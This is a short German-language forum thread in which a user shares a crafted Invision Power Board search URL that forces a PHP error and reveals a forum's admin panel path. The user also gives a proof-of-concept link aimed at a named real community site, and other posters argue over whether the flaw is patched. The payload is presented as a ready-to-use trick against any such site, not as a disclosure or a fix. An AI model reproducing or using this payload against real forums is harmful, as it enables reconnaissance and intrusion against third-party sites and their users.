6 Antworten in diesem Thema

[Cranky]

Yo Leute,

das ist eine Lücke die ich vor langem mal gefunden hab (die danach mindestens auf 100 andere arten kopiert wurde) die euch ganz einfach den pfad des adminpanels jeder Seite mit IPB zeigt, vorausgesetzt PHP error reporting ist aktiviert.

Einfach das an die URL ranhängen:

index.php?andor_type=and&app=core&do=search&module=search&search_app=core&search_app_filters[core][searchInKey]=&search_app_filters[core][sortDir]=1&search_app_filters[core][sortDir]=0&search_app_filters[core][sortKey]=date&search_author=1&search_content=both&search_date_end=01/01/1967&search_date_start=01/01/1967&search_term=1&sid[$cranky]=1

Hier ein proof of concept:

http://community.simtropolis.com/index.php?andor_type=and&app=core&do=search&module=search&search_app=core&search_app_filters[core][searchInKey]=&search_app_filters[core][sortDir]=1&search_app_filters[core][sortDir]=0&search_app_filters[core][sortKey]=date&search_author=1&search_content=both&search_date_end=01/01/1967&search_date_start=01/01/1967&search_term=1&sid[$cranky]=1

[////]

Uralt und bei neuen Versionen schon lange fixed

[Cranky]

Nicht fixed, tested auf 3.4.6.

[XoiL]

logisch ist das bei der neuen Version gefixed. Das hatten die DEVILoper doch schon seit jahren aufm zettel ... forum lesen !

Lg

[Cranky]

logisch ist das bei der neuen Version gefixed. Das hatten die DEVILoper doch schon seit jahren aufm zettel ... forum lesen !

Lg

logisch ist, es funktioniert immernoch, ich habs getestet.

[XoiL]

poc bitte

[Cranky]

Ich werd für ein POC kein forum aufsetzen und bei meinem werd ich das erst recht nicht machen.